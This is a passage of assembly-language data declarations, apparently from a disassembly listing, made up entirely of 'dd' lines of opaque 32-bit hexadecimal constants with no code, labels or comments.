		dd 29B00AC6h, 0B17EED1Fh, 0DA8D6D12h, 0EE30A1F8h, 8A17806Ah
		dd 0E07B1E0Fh, 5F2D03FDh, 0A0DC318Fh, 2B3D649h,	0C1A6739Eh
		dd 0D7ABBE4Fh, 0EFD8F7Ch, 907F203h, 1926DADEh, 0F270E95Ah
		dd 0EDE17975h, 0CAF925C6h, 2B3E5543h, 0F79F6958h, 0A95A7107h
		dd 0B463517Dh, 0AE01E9DEh, 0D4C33A86h, 0FAD30396h, 1F0CF076h
		dd 86E75D34h, 1B89BFD4h, 0EFF1F703h, 7C969F4Bh,	0E286C4D5h
		dd 0A7448C8Eh, 9CE9EB0Ch, 0DF86B4AFh, 0B5417A9Fh, 0D5FE455Fh
		dd 0F89C04DAh, 0CAB58561h, 7FE2FB63h, 0D9553953h, 4E7204FDh
		dd 839CFC63h, 7588B759h, 2D897FF1h, 48662147h, 0AA293579h
		dd 0DC9FFAAFh, 0A327D0C5h, 0DCC14A8Dh, 0DBC06B8Bh, 9552567Dh
		dd 0F30AFABCh, 8EBEF9D6h, 22D456AFh, 2AEC6E37h,	0B82AA86Fh
		dd 45CAED64h, 0F3C03490h, 0DE1D1BB5h, 0BF0FFAFEh, 3F7BF520h
		dd 511A9262h, 0D55810DBh, 81C7BDA3h, 1DAAD34Bh,	841E571Eh
		dd 3AFFCC6Fh, 16FD36CEh, 0B525CF6Fh, 0BF0AE72Ch, 7136A888h
		dd 0F241EF84h, 0D4D3B328h, 7BEABCDh, 45DF0CFEh,	55EF525Fh
		dd 0CD5A17FCh, 87E2DB27h, 0B3438F98h, 0F86D57Dh, 88E6B81Eh
		dd 0E62D2C4Ah, 75E5F35Dh, 1B52689Eh, 60906B0Fh,	77611C9Eh
		dd 0AF383302h, 82F1D897h, 79753AD6h, 0FD8D1DC7h, 8FDEE753h
		dd 0DBA934A9h, 62FEC9CAh, 0D49D3BA5h, 0FCD2168Eh, 947B6A64h
		dd 53EB1E33h, 0BE3ACB46h, 3B8F92D7h, 8C6EDDF5h,	0DF9E8424h
		dd 0C9BF4EB8h, 2896C753h, 84E16AF9h, 0ECA34BB0h, 5A48616Ah
		dd 366D73EEh, 0E0FF362Eh, 2F0D40E4h, 0AF1B5E5Eh, 2FB87ED7h
		dd 0E98CA0EBh, 6DA0048Eh, 1B009FAAh, 0FCD7A37Bh, 0B5A47583h
		dd 8092171Ah, 8BA37E8h,	8EA8F267h, 1A17A08Ah, 0DDB93E8Ch
		dd 0C9D6894Ah, 0F3BE2BA4h, 0DF9AAF31h, 1E9D0157h, 2626BEB4h
		dd 0BDDAAB63h, 93FD28AEh, 78BE8AFEh, 91FC53B4h,	7F03993Bh
		dd 0CBF80FCFh, 3B328CDAh, 22FAEF1Ch, 9FEC8409h,	0E376ACE8h
		dd 800643BDh, 4B471C71h, 217F68BDh, 3F0F02C8h, 3A182FE4h
		dd 8E43F37Ch, 1ACCB859h, 6B7D2F13h, 5FA57369h, 0C457330Ah
		dd 82B9568Fh, 0E6CF22E9h, 0E555E45Fh, 6D2F1AB0h, 5AA8EB5Ah
		dd 22A86EC1h, 39C0AFE0h, 0FCA0DF2Bh, 6E35ACA4h,	0C8A4CB71h
		dd 0F2E57B03h, 0D0507333h, 250C1235h, 0C5DA3E95h, 0C4CD8CEFh
		dd 0AC0FDDC8h, 0CDE1E47Fh, 79D8863Bh, 0BD98EFD6h, 3D8EE751h
		dd 0F16E2B8Eh, 8F6AAD57h, 0BE1F247Ch, 0BFE5A802h, 0ED065C0Fh
		dd 650B99FDh, 0AD48D707h, 43EFDB9Dh, 93969DD2h,	0A7E32877h
		dd 34FC7267h, 7F652BD7h, 0DAA2EA8Fh, 0CBDA305Bh, 0B8B2A6D0h
		dd 41BAE88Bh, 0E1BB0963h, 9764C1D9h, 0A6E5F25Bh, 0C54CB36Ah
		dd 2BCD64B1h, 3A30B73h,	4A174E4Bh, 901E3487h, 5D68D3ABh
		dd 0DDD6CCCDh, 580CFCFBh, 95187F23h, 7D55BDC6h,	3EF31F57h
		dd 36C5446Ah, 6AE013BBh, 0FDEFAA5h, 0F94C59DCh,	0EE900F4Ch
		dd 0B8BF8BF1h, 0C0EFEE94h, 0B69D3F9Dh, 530AF746h, 0FB11405Dh
		dd 14EC6F1h, 597FBE9Dh,	68D7B2FBh, 66CAA2E9h, 0AAE5E71Dh
		dd 0DF7C7BB0h, 0EFA9ECD3h, 76557BB5h, 734A76F1h, 4E7B2737h
		dd 0B64FAE7Ah, 91F087E3h, 0CC3BCDACh, 0AF557DD0h, 55D9E8FFh
		dd 935E75A1h, 7BD7F24h,	0CE550C26h, 2EFE7B90h, 0F57BC79Dh
		dd 77922FA8h, 0D48AF372h, 67BA48BAh, 8A795774h,	64F15EC7h
		dd 0C2990475h, 0B99990DAh, 7F3E5444h, 1EBB1D31h, 573FDA87h
		dd 457C846Eh, 0BF0FBBF7h, 0D4C8982Fh, 0EB6BCDEFh, 0A106C597h
		dd 96D2B474h, 5DBDFEF5h, 0F1ED1D4Eh, 19E74219h,	0D40D4622h
		dd 0A297F6D6h, 5E5557D8h, 0BFD7A6BBh, 0CECDEA75h, 0F3E2755Fh
		dd 0EA73E0E1h, 0C21FEADBh, 0F1B624F5h, 52AF1FE9h, 597A3B58h
		dd 0D19568E4h, 0BE27F411h, 0D33FFAAh, 7237E1E0h, 0CD885C86h
		dd 648DC639h, 0FB6CAEDFh, 66255495h, 0E6A88EABh, 0EF3BEAC5h
		dd 0EE2DB580h, 520E588Ch, 0CDA454A6h, 0B6661ABAh, 8934571Dh
		dd 4BFA8EB5h, 0F827F44Ch, 0BBCC5311h, 0A2C2C0A3h, 11DC058Dh
		dd 85A2EA3Bh, 0D06D44D5h, 8ABF1491h, 5B6168E2h,	0D57E2EDAh
		dd 0A99FE759h, 5F72E851h, 71A335DAh, 0B7885900h, 35F530ADh
		dd 9E010B65h, 5EAA5DBEh, 55F86F57h, 0B9058434h,	172898CFh
		dd 6EBBCB46h, 9586AC48h, 5F3E97C2h, 999946B2h, 0FB95FD69h
		dd 9C7DD7A2h, 0FBB20413h, 0F6B337ECh, 8B0CC2A8h, 0DCFC2AA6h
		dd 719845BDh, 33501CE5h, 4AABD278h, 0AD7ACEC5h,	64114A4Ch
		dd 4F1315A9h, 0C3F1A3A4h, 0F1DA16F3h, 0CCCD1D17h, 569BD91Dh
		dd 4FF554D1h, 61E61CEDh, 9F2C0D87h, 0F3FE0073h,	0DC60A060h
		dd 0CD7F6D19h, 0FACA6045h, 5074FA37h, 0AE55B042h, 468A34B0h
		dd 31BD95F0h, 0BA25EF29h, 6BD7A4B6h, 50499CCBh,	0B8768405h
		dd 0BF3981FAh, 2ED28D4Ch, 875D93AFh, 0A834D369h, 0BB5C25A1h
		dd 0C443AFB8h, 0F9D12501h, 0F09B2168h, 0CF9617D9h, 4C98BAD9h
		dd 797F5D0h, 371CB94Eh,	6F94D987h, 42742E76h, 0FF1FFDC9h
		dd 0CC15A6C1h, 272EB870h, 0A82BD6DEh, 8D55192Dh, 6D38FCFEh
		dd 0A6906858h, 7B4268D2h, 0A41DFC1Eh, 0EAE3CE36h, 47BF189Ah
		dd 444F10E3h, 895E592Fh, 13A02F9Ch, 0BCE0A15Dh,	0D5FD715Fh
		dd 0B7CEB259h, 16DE9F55h, 911AEA3Ah, 0B82F7A14h, 0C09BDDFAh
		dd 0F5561552h, 154C0D03h, 8775AF64h, 8F72C9D0h,	83F7F34Eh
		dd 0FB4D7262h, 207D2FF8h, 0D648605Ah, 75068B60h, 2A5826E3h
		dd 1D55AF47h, 642EB748h
		dd 1E35AA28h, 5044165Fh, 0EA66572Eh, 0C564EEA1h, 5D8EE5D0h
		dd 0ECEBCE51h, 2568151Ah, 0DBC9B0F6h, 0CD4474A4h, 9DCBFE07h
		dd 8270EAD8h, 70611D90h, 0A818DA94h, 0EAEB3399h, 2E36F13Ch
		dd 0AFED1A2Fh, 3AC81F82h, 917C5A05h, 6D3E2A8Dh,	0F4E6AF0Dh
		dd 0D11E128Dh, 65A09E5Fh, 0DA52B34Ah, 0D9F461B3h, 957836AAh
		dd 0B6B3AD76h, 0C8222516h, 6A86B080h, 54C6AA31h, 449D7193h
		dd 6BF7C8CDh, 0B44E3F7Ch, 8363D626h, 0EC4EE05Ch, 1ED1F9E2h
		dd 53EC9D5Bh, 87431C06h, 255DA29Ah, 38E9F0DCh, 0AAA89C09h
		dd 0CFDA129h, 8695496Eh, 429D9247h, 4081F4C9h, 0BF5072D0h
		dd 0E5392B0Dh, 7F7C3A69h, 0CF1A1DA9h, 45EDA08Dh, 0B6885F8Fh
		dd 0C59AF77Ah, 7335265Dh, 26867727h, 0A22DFE08h, 0CD85C9DEh
		dd 7F298C0h, 7AE9616Dh,	0DC7E7C9Ah, 4371322Dh, 0DAB6C51Dh
		dd 1F12BC9Bh, 0DC3D00BBh, 0E21E82D2h, 0F550736Ah, 0E5F6D19Ch
		dd 5A86F1DAh, 40AB2A5Fh, 956A360Bh, 67DC2EA4h, 0DE6A8DA2h
		dd 0D307500Ch, 16BDE285h, 0FAC2743h, 5CE7D8A1h,	60E2BAB5h
		dd 8EAB76E4h, 75853BAh,	4011461Ch, 359E5F55h, 0B13E9CC0h
		dd 0A661CFE4h, 7BDF8957h, 0D092E1D5h, 23AD1D35h, 9E4887D2h
		dd 9DC14A3h, 0D0384C3Fh, 76E3FCACh, 2F1A5C69h, 0F49761C1h
		dd 9997024Ah, 4C4B2139h, 1F2585Fh, 49D5A860h, 0DBF9AF40h
		dd 7EC4CD4Ah, 0A44E3A37h, 0AF4DA371h, 9F26B240h, 3F28413Ch
		dd 682F06A8h, 29FE7504h, 994008E6h, 3D55C598h, 527A4ADAh
		dd 0EFC3229Fh, 0D0EC7F44h, 498231B2h, 4D1A1710h, 1248F355h
		dd 7EB172F4h, 2BB03225h, 0DA7CAC94h, 0EFB2EA06h, 6B5EA574h
		dd 2BFCA979h, 0C904D473h, 0E39CD518h, 1CE5272Bh, 0A7745751h
		dd 0A077A221h, 3642EB37h, 0B62C3452h, 16E9133Eh, 0E4564C4Fh
		dd 896C76BCh, 7FC84476h, 5F40D19Fh, 2EF02257h, 0C8F061FDh
		dd 0B99896FCh, 0A4E83D53h, 7786CD0Eh, 36F5A6B9h, 9DA5F19Fh
		dd 3576A7E1h, 71646684h, 134EDB16h, 0D9DD2DE4h,	94EE2D12h
		dd 2BA41CCEh, 2CBAB5E9h, 108CB8D2h, 8C82665Bh, 0C18D0FE0h
		dd 721E4471h, 8CF6BC5Dh, 9FC3DF41h, 8D88F003h, 8236D139h
		dd 0A40A6600h, 8B66A72Eh, 48262633h, 0B5B46873h, 0F688E02Bh
		dd 2F5DCCFDh, 0DDAB092Dh, 0A17B4011h, 0E74EC1E2h, 0B79B2CEAh
		dd 0FD7FA21h, 0D8F76C13h, 12D47A13h, 7CE261AAh,	95DBE763h
		dd 3C57E8Bh, 772F35D7h,	8F3A7F92h, 8497E3D3h, 622BE832h
		dd 0A9BCBFh, 7C347537h,	81BFE168h, 0C2FC0845h, 0DBEE6709h
		dd 0FAA73CD2h, 0EEF907DFh, 0BECF5EDh, 530B65A4h, 913C8F02h
		dd 19A91973h, 778A4AA8h, 6F731C15h, 168D71E8h, 8C55FB3Eh
		dd 0DFC93DA6h, 0DC0DD3F4h, 0DC70BAAEh, 0AC1C1774h, 317B1CFAh
		dd 24BB1E54h, 7E857E7Bh, 26162BFh, 5BD841CDh, 0EDC81441h
		dd 6381BE07h, 9F998268h, 0A22F224Bh, 586B5544h,	6E1CB0BAh
		dd 115B4AF5h, 0FBE3E7B9h, 6C8D4706h, 9EBDEC82h,	0B3B17EACh
		dd 7B32EAFDh, 0A59D71F7h, 0C788CD78h, 20B17468h, 40DDA496h
		dd 8474D5B4h, 0FC43155h, 6B668BB1h, 9EAEC2E9h, 0D68C85FDh
		dd 81F14074h, 6CCC6E8Eh, 6777550Dh, 3969A328h, 0BB2D4A6Dh
		dd 0B6BEABE6h, 22F59E31h, 3D15B2B1h, 0F2222825h, 9BDC1E96h
		dd 0A9ED0B98h, 7EF31AD6h, 0EAC22C93h, 377EF925h, 7B9DBC52h
		dd 0A788A7DCh, 2F4F19CDh, 0B27C061Dh, 88226233h, 93166C52h
		dd 0C70F80F3h, 0A2BE9F88h, 0BEF9F5B2h, 1D8CF201h, 0DBFB3650h
		dd 6079B32Ah, 0A75BD1AFh, 0E341D79Dh, 513EBBC1h, 481E99ECh
		dd 4E7ABC7Ch, 0DFF918BBh, 4CB45F8h, 0A9168C2Ah,	0F86264A5h
		dd 15D768DAh, 0FBBB23DDh, 554F9F97h, 0CE337DDCh, 0A8B2D230h
		dd 27633388h, 250A4AF1h, 0F1AEDF6Bh, 48EAF78Ah,	3FB4868Ah
		dd 0B4D02569h, 7CD71568h, 0A3DB15C3h, 0B4921025h, 1A060C58h
		dd 0B9D294Fh, 0CA066249h, 0F990695Eh, 0BF15A2AFh, 4F97B84Bh
		dd 0D13853FAh, 799C0FC3h, 972A8BA1h, 98D88F5Dh,	52789436h
		dd 0E31B5E6Eh, 0A0853E6Ah, 3E1E3C53h, 0B1E1CE5Ah, 0F4E97B84h
		dd 439B49D4h, 0E7BCBD16h, 5336C53Bh, 0F677D4CBh, 84E32E66h
		dd 6E9850C8h, 49F56FD9h, 249F592Dh, 0C6D50F09h,	3480D2A0h
		dd 3677E693h, 0E03DB85Ah, 0E8C76A6Dh, 0BE203D1Eh, 0F6EA5BEEh
		dd 8832086Dh, 36A7A1ECh, 88BB8DA6h, 0F11455A5h,	738135C7h
		dd 6070A4DFh, 7F16F964h, 5F668BD9h, 9AC7756h, 0B175061Bh
		dd 0B6A5C79Ch, 0C41A2555h, 3EEB1E3Eh, 0E5C19187h, 0C857C074h
		dd 77D2BBDh, 0A3920787h, 0D526CEE4h, 0CEC8EEF3h, 0BB65F942h
		dd 0ADDF70Ah, 1D38D3FDh, 8AE4D5ADh, 0E38ACEAEh,	0A45D8A7h
		dd 0ACBBCB9Bh, 400F8B7Bh, 0D9D28C97h, 57393DF4h, 63EB8DBBh
		dd 405987E1h, 0DA3A2019h, 4D378BF2h, 0AD24F826h, 917A574Ah
		dd 1AFF6823h, 90FCF2A0h, 0D6975777h, 6F4B05D1h,	80B48AECh
		dd 17D744FFh, 669B393Bh, 0F3187E9Fh, 410A8822h,	0DF0F2DA2h
		dd 4992DB78h, 778884E7h, 2CCB90A1h, 3947E134h, 0EFD63F17h
		dd 5412B90Dh, 32ABFFD0h, 0F0FCCBB0h, 6501D6ABh,	0F3470D32h
		dd 8B6555E4h, 0C622A4DBh, 0F6B3F5D4h, 6BEBBB88h, 0F6B15D8Ah
		dd 9064C16Bh, 0E05AA22Bh, 0D3A42CEAh, 5650A7AAh, 0FAFB9ED2h
		dd 0E6D125D3h, 2575D0E6h, 404672D7h, 0D721AF4Dh, 573C854Fh
		dd 992698Ch, 0EC22E4E6h, 1175F737h, 0F068500h, 9AE9D83Ch
		dd 0F8485903h, 0AF476D1Eh, 1FBD4312h, 518D3878h, 2EA0AFCBh
		dd 5D1516E9h, 7F93BEF3h, 0E310A069h, 756F0B0Dh,	8E8710B4h
		dd 2168DD99h, 343E7697h, 0FEECBA79h, 98C78816h,	0F548E3FAh
		dd 265E33ADh, 0C6E9AE8Ah, 7599F1E8h, 3D56C9BBh,	84BCF490h
		dd 7155AC3Bh, 4FD5BA57h, 62CC5FBFh, 10260BE1h, 95DC7E31h
		dd 0FA536405h, 74DA6D0h, 0E288320Fh, 7BA874B0h,	0FF1D2BA5h
		dd 0EAAFDA23h, 0C3A535B8h, 3FCA8B63h, 3E3EE9CFh, 7722BDA5h
		dd 0E883DB97h, 315022B8h, 0C8D3FD5Eh, 7742E0A5h, 0C3FA607Fh
		dd 0BF7BEDE2h, 817D2765h, 632E682Eh, 6D713E15h,	3222FDC3h
		dd 7121CC55h, 4417AAA7h, 0E728D9CBh, 0DACE2935h, 0BF227DB6h
		dd 0ACF616A0h, 9D3D6D6Fh, 0A7C76D16h, 9AF80D13h, 74411FCFh
		dd 5E30A765h, 3F2D058Fh, 1DD33DABh, 0C355C78h, 0DE4AB84Fh
		dd 0D08874BFh, 0C7CFE2BFh, 0F696A720h, 0A7B233C1h, 5D797731h
		dd 0FC443FD7h, 0D846BF90h, 733B871Ch, 47B4FB7Dh, 0D33FDCFCh
		dd 66CDF2DAh, 6A337809h, 0CAD54043h, 5D7375AAh,	6B3DBBBh
		dd 0BBACB6Eh, 3C34BB5h,	0DCF9771Bh, 0E91723BDh,	6D6CD700h
		dd 0F2CBACA8h, 8BCEB39Bh, 17E9645Ah, 4B30E8BAh,	0DB287856h
		dd 938159AEh, 9AC04A82h, 2ECCD659h, 3DB17B25h, 0F829D3F9h
		dd 2D30648Bh, 0E671B4ABh, 54471A0Ah, 3AA69B45h,	0F3A3D8FCh
		dd 0FE7884E5h, 61117EC2h, 481E4E73h, 9575B95h, 25383F25h
		dd 2A56A1E9h, 0C763F9ACh, 3C7A8AFDh, 0DD657851h, 0FD3C3D35h
		dd 0D8DFAE8Ch, 0C2A11FD1h, 0BB0DC1D6h, 80AFC45Fh, 0FC0BFA6h
		dd 6C7A868Dh, 76D1647Fh, 0A85668C7h, 0F15E0B94h, 0CFA16F94h
		dd 89574ECEh, 74AB61BDh, 759B414Bh, 0DCE7D0FCh,	0EB73C6F5h
		dd 0BD2499C7h, 4D836DD7h, 4A9676F5h, 417FA99Dh,	4B9371D3h
		dd 0C30F3774h, 1D90AB8Ch, 92DC7D22h, 0FA86E572h, 41A8388Ch
		dd 0A2EE1E36h, 9AFAC264h, 3872B8B2h, 0F5B53401h, 5C490158h
		dd 2FB002B4h, 808A6D77h, 727D1C27h, 0EA43FF9Ah,	0E8ADFDB2h
		dd 5D2D4C12h, 0D5D3CAC7h
		dd 0EEF56A53h, 58DF649Ch, 2381A2A1h, 0DA70BECCh, 38A7D4A5h
		dd 0C6990FD8h, 4ABDDE59h, 63A8A91Ah, 0DBADA34Bh, 7B87BE87h
		dd 8D12645Dh, 1D439299h, 82BBD58Bh, 0E991538Ah,	9F2997EBh
		dd 4C6A70A6h, 224EB1CCh, 0F1B166BFh, 0FAA67687h, 0FB5F854Ah
		dd 0BE897E50h, 95F23620h, 0EE5E369Eh, 28A22B25h, 0DA3829C2h
		dd 14756EBh, 0CFE09A0Eh, 65557BC6h, 40A3D05Ah, 47621B9Fh
		dd 0F93C4806h, 5C75D1F5h, 990D6F43h, 25824EEAh,	0DF88C50Bh
		dd 0D80456CEh, 6D102ABEh, 378A95EDh, 35143855h,	0B77AA924h
		dd 0F175BC92h, 8DEFCE42h, 689650D6h, 8FFBB03Eh,	0AB96B7BDh
		dd 353DBE12h, 74A529A6h, 0F7A45ADBh, 0B113A1EBh, 0D7E42961h
		dd 0E2D79015h, 3F101F73h, 0EE046BCCh, 577657B8h, 8F7C87FAh
		dd 1A60AC96h, 1FDE594Fh, 1F93B9D8h, 82EEFF83h, 0E940816Eh
		dd 0DF59EBC0h, 709A3101h, 5C2F7A8Eh, 0F4AE9B0Ah, 57EB2452h
		dd 113AD3E9h, 6DCF6B8Dh, 74FF444h, 4E3198E6h, 0FA3FA95Dh
		dd 1CA169CFh, 0F54E741Dh, 7363752Ch, 79F544D7h,	0C974E208h
		dd 0CFB71D41h, 92E0515Ch, 0C357FD33h, 0FE3829AAh, 0E7C13186h
		dd 0D248BC0Bh, 6069D968h, 61F820D9h, 8ABA91F8h,	2A88DBD8h
		dd 0FBEFB283h, 7323D65Dh, 812A0AD2h, 7783EB36h,	0ABEC4244h
		dd 3355E182h, 0F1E20AA5h, 0E0E014D7h, 0C2592520h, 0CFF07EF1h
		dd 17068A9Ch, 0C3126BD7h, 6F26DDA7h, 6C7AF74h, 0BEA70177h
		dd 2912564Ah, 2BD3843Dh, 0FD7E253h, 2FE878C8h, 0E5C4ED75h
		dd 27842757h, 17FE80C2h, 7391EEC9h, 0AC99E0B6h,	0A191812Fh
		dd 0EF975BDh, 0FE9FD8FAh, 0D9DF3862h, 0D50B3A47h, 0EBCFFCA9h
		dd 9DEF0018h, 0BF815A3Ah, 349AAE26h, 7E3DF3FCh,	70D62A49h
		dd 0A1085B5Fh, 599CA954h, 63AA8737h, 72984D34h,	411A5FB6h
		dd 84C61DB7h, 0D4FAA2D9h, 32569FF6h, 224E782Dh,	0F2741DFBh
		dd 1DA31E19h, 0B34AA18Dh, 47F51F61h, 495E5BCFh,	0D14106ADh
		dd 8D6AE9AEh, 1913FEEEh, 0F029490Fh, 45CFFBF6h,	0E3292F4Bh
		dd 76BFF5ADh, 0FC1A526h, 7DDA5915h, 0B9EC3AB4h,	7F0A3F4Ah
		dd 0EF6F82Eh, 5BE41EAFh, 8ED6C2FCh, 725FA588h, 0FC11629h
		dd 0AEBE47B5h, 751BCA2Eh, 0D5706145h, 1E9507F7h, 0A32D5558h
		dd 0FB17397Dh, 0FE99C7B3h, 0B05332FDh, 0B3FD4631h, 0D42D5FA5h
		dd 342F41D0h, 59241933h, 6E1B464Ah, 1C5269A8h, 75959CABh
		dd 0AE0A706Ch, 93C1CF94h, 0A82EAA01h, 78F838ADh, 22101A78h
		dd 2D7313FAh, 7D3DCE3Ch, 0B34F627Fh, 2B49CE18h,	0C67AB5C0h
		dd 0B79E2B0Fh, 5D5097Fh, 6430DA6h, 1C288554h, 7AC5E44Ah
		dd 0F7EE8AFFh, 269EFF81h, 63B99AEEh, 0CEB80458h, 6EC5363Ah
		dd 44F6454Ah, 882AD2EDh, 25A304E5h, 2A84D7E6h, 84E75D39h
		dd 55AC8AEEh, 87867913h, 0AEB6E032h, 0D1672BBCh, 4B70C142h
		dd 12735141h, 0D9194E98h, 0B61292D1h, 0B2C14673h, 44261938h
		dd 15676EEAh, 90D1D50Ah, 46293562h, 52EC72CBh, 7AD951B5h
		dd 4F2576BBh, 2403BB34h, 0A2BD33A3h, 709708E5h,	3F1FB55Ah
		dd 9157682Ch, 0E1D5D9BCh, 1A72E08Dh, 45A746FCh,	99F0FF1Ah
		dd 53F277B5h, 0E98744C6h, 550D04CEh, 0D1467E5Ah, 6855755Ah
		dd 9B2D9D6Ch, 0C40BEC0Fh, 0DF7F43C1h, 0C0BF1BFh, 0E89FF28h
		dd 19FCC0EAh, 0DFC1B8C5h, 0F578D944h, 0A0CC5B4Bh, 27CC1F17h
		dd 887EF719h, 59D52B5Eh, 0D67E28D5h, 28051109h,	9DEF13A4h
		dd 97B04A5Ah, 4EFA34FDh, 0E92EEEB1h, 3DB92B06h,	0E0A4CC40h
		dd 8BEE0776h, 15CBDAA7h, 0F1A8B39Dh, 1194AD09h,	51A72622h
		dd 8840CE25h, 1EC16D22h, 5F817A13h, 15D95E41h, 0AB0B5FC1h
		dd 380E8749h, 5C2BAE61h, 0A56F647Ch, 2A5BB4AAh,	52CD386Eh
		dd 0FB7317A8h, 3A16158Ch, 0ABB4F297h, 45D25417h, 7108A9Dh
		dd 95CE1EB7h, 0AE96BBF5h, 84B12F6Dh, 70B8F718h,	2D5F4E9Bh
		dd 0AAD6C2F6h, 5137631Dh, 289272D1h, 0E1F802BFh, 89A28EE3h
		dd 70B19C5Bh, 0BD2A06F3h, 0CDBF6463h, 0C1969DA2h, 0F4CC7D9h
		dd 0CA767525h, 4B4E4231h, 0F46EEC42h, 0ABF9D540h, 0C0C1F81h
		dd 48CC979Dh, 0D689BBC9h, 6F9BEB6Bh, 9A8C44C2h,	0E6D85C73h
		dd 8407161Ah, 815A2224h, 3723BF24h, 94323B52h, 94EC29FCh
		dd 29F7B12Dh, 0A66B0F56h, 0CE9F2E0h, 0BEFE6F68h, 31EDAD29h
		dd 743E236Ch, 0CDD6F637h, 0FDD9F372h, 65602430h, 597C606Ch
		dd 0CBA0EE6Fh, 0B0F8261Dh, 87E74DC4h, 16C1EBDh,	10967CB8h
		dd 27FACE38h, 1A3E79CAh, 2C5BA2B9h, 74811A20h, 7B766A29h
		dd 38462717h, 0FEFAF333h, 2A9ADA18h, 0C90DA8E3h, 0E2D5E877h
		dd 9B7FEF34h, 31F60B9Fh, 2DFC6DFDh, 19FFDCFEh, 6553BF5h
		dd 0E7D4BF13h, 0A95AB475h, 7D97A190h, 0B8793094h, 3AB77043h
		dd 2C32E87Eh, 0A6D97976h, 3502B67Fh, 189A46B2h,	3E4B46F2h
		dd 4EA566Fh, 31C346A6h,	2E99321Ah, 240CC0FEh, 35F1E944h
		dd 0D667CFBh, 0BBF4BADCh, 4AE39AFAh, 0EAC3AFB4h, 17AD608Fh
		dd 0FF59DEE7h, 985FE07Dh, 0EC758FC7h, 0F8FCCF92h, 55F8ABC5h
		dd 5740DCF9h, 0FD230B7Eh, 23593907h, 0AC0D4862h, 6E2F5757h
		dd 0B47C5E86h, 13227ACAh, 87A1FDA2h, 50C47002h,	0BB4C6AF2h
		dd 20206EA0h, 0D0EF4AFEh, 80AB30BBh, 7F9320C5h,	0F6DEE725h
		dd 6A41FE08h, 476C4F9Dh, 1A71B3F7h, 51C96B47h, 75042565h
		dd 7775C054h, 25B28BFCh, 0AD5B0EA6h, 0F09B646Fh, 1656F4CDh
		dd 0CD3218A5h, 5FC9D143h, 768A92EDh, 0D5CD6B6Eh, 0D352A27Ah
		dd 0DDDF1D00h, 0E31CEC7h, 4E0DB2DCh, 57842A13h,	0E83F4B7h
		dd 0D8C108Ah, 312CD5D4h, 8DD82C8Bh, 6AED7762h, 52AB5BAFh
		dd 0FEFE2D1Ch, 0AB307344h, 9BE8F34Ch, 0B8EAF80Eh, 0BF2CE237h
		dd 0CD10BE30h, 0D44E4DEh, 3606171Eh, 0D2A42220h, 425469B5h
		dd 0B7D8731Fh, 0B561618h, 5065D948h, 5AC059B8h,	0B639973Bh
		dd 54331A77h, 12954D97h, 0F77A6A9Eh, 0E4C822ADh, 1ECC25FEh
		dd 0C8989177h, 11CE55FCh, 7022BF0Fh, 36E5D55Ah,	25323BE0h
		dd 0AF2D6DF0h, 9D5BDBCCh, 0ECF5D930h, 0E1CCCD65h, 0BEBAD887h
		dd 58071155h, 23F65A25h, 53E39D09h, 33082EDAh, 0AE3810FAh
		dd 0ADAFE076h, 2D79DF12h, 3959454Ah, 5A1387AEh,	2B9090C6h
		dd 23BD4CDBh, 877D4351h, 0F3735081h, 0B565075Fh, 74D50F4h
		dd 28210887h, 0EC1FA086h, 0B5DE4A5Eh, 5C7A2710h, 7897C3DEh
		dd 0F555AA55h, 0F0F0565Ah, 0A1D88D5h, 0D7B4FE0Fh, 0EC328129h
		dd 0F7EBD11Fh, 0A5C37FB2h, 0A67D4552h, 0EA3A5559h, 35DD368Dh
		dd 0D06EF74Ch, 499D72A0h, 597DA32Ah, 0B8A9454Eh, 6BAFFC3Ah
		dd 7D251BF4h, 16EA6ABBh, 6554E5C7h, 0D7AA8B34h,	0C58BC05Bh
		dd 4FB0B752h, 75B96633h, 3E750F2h, 0E967D3CDh, 5397E3DDh
		dd 0CB6DAD7Bh, 1E547D6Ah, 0AF84FEFCh, 7E034CA1h, 9D498AB5h
		dd 0C4019B74h, 1245B941h, 0A7F325A3h, 0A04374B9h, 1F89438Bh
		dd 46D60036h, 141AB067h, 22DEB118h, 14F4F34Ah, 8B4F4988h
		dd 6E68EE56h, 0E244D649h, 1E0F09F7h, 0CEB2239Dh, 0A9E71E1Ah
		dd 56F8816Dh, 0C27B996Ah, 43F19E22h, 32BBA5F2h,	0DE51587Bh
		dd 19CD5751h, 0B1C25275h, 0FC473F6Ah, 15A29956h, 638BD5EFh
		dd 2F30CAEEh, 5CDA199h,	7C1D759Ch, 46EEC832h, 0DBDD4AF5h
		dd 99BB5ECh, 9AAF23F2h,	0B2D8B07Eh, 0A0C4A02Dh,	0A4AC9C5Fh
		dd 0BBA08BDDh, 67297208h, 0B8EF4701h, 2BE56825h, 0E8A3C7EBh
		dd 0FF0B00D7h, 42E9DA42h, 52770C6Bh, 8C852DA5h,	95391591h
		dd 5E3412Dh, 348E5F0Ch
		dd 0E97BE8FBh, 662E3975h, 8AB91FB4h, 7F0AD0CAh,	9127AC3Dh
		dd 6CCE9DB5h, 4071E309h, 9923A97Bh, 781F9EDFh, 0DDFD7C65h
		dd 0BEA069Fh, 0A94B029Ah, 0A1FD5492h, 6470B478h, 0DF667C38h
		dd 2BB2A45Ah, 770F4038h, 3FA988F3h, 0DE6DD7D3h,	81E35E64h
		dd 0E5F6D283h, 0CBB1197Ah, 527B7049h, 85F8B0E3h, 0F425FE72h
		dd 0C72FBC39h, 5663CDA5h, 0C3BD0FC6h, 0CAEE2E4Ah, 7F03956h
		dd 80BB5FFDh, 3464DAF9h, 6C6B6FB0h, 6D68F29Ch, 0F13768B7h
		dd 64610EA8h, 9EE55A9Eh, 0E1D29267h, 9DEF54E2h,	0EFFDE947h
		dd 7559E10Bh, 9B4FFA0Eh, 391791Eh, 0E84ADC3Fh, 0F3089528h
		dd 4CEDF5F1h, 5F6C922Bh, 890BDC6Ch, 61D0BCCEh, 0F387824Fh
		dd 0F6D59B0Dh, 173B6698h, 639A8DA1h, 4ABEB739h,	0DC6A6BBFh
		dd 0E38B4994h, 0C1EC21DDh, 456FCDEEh, 0EEA59908h, 761BA89Fh
		dd 1A9FB805h, 0BE1D76A3h, 50313D5Ch, 6C7378C1h,	168930FCh
		dd 73193C24h, 0D2B0FDCFh, 0FC769DFAh, 0E9C9EA19h, 28F3BFDh
		dd 6D2E7F96h, 2D469251h, 59C4444Dh, 7D589B86h, 4B2F676Fh
		dd 12A3EAEAh, 0D17EF59Bh, 37CEBA9Dh, 0F11C10FCh, 0C55F4C2Dh
		dd 0C6BDE8E0h, 1A1361CDh, 36A92E0Bh, 2949F7Fh, 6956AA8Bh
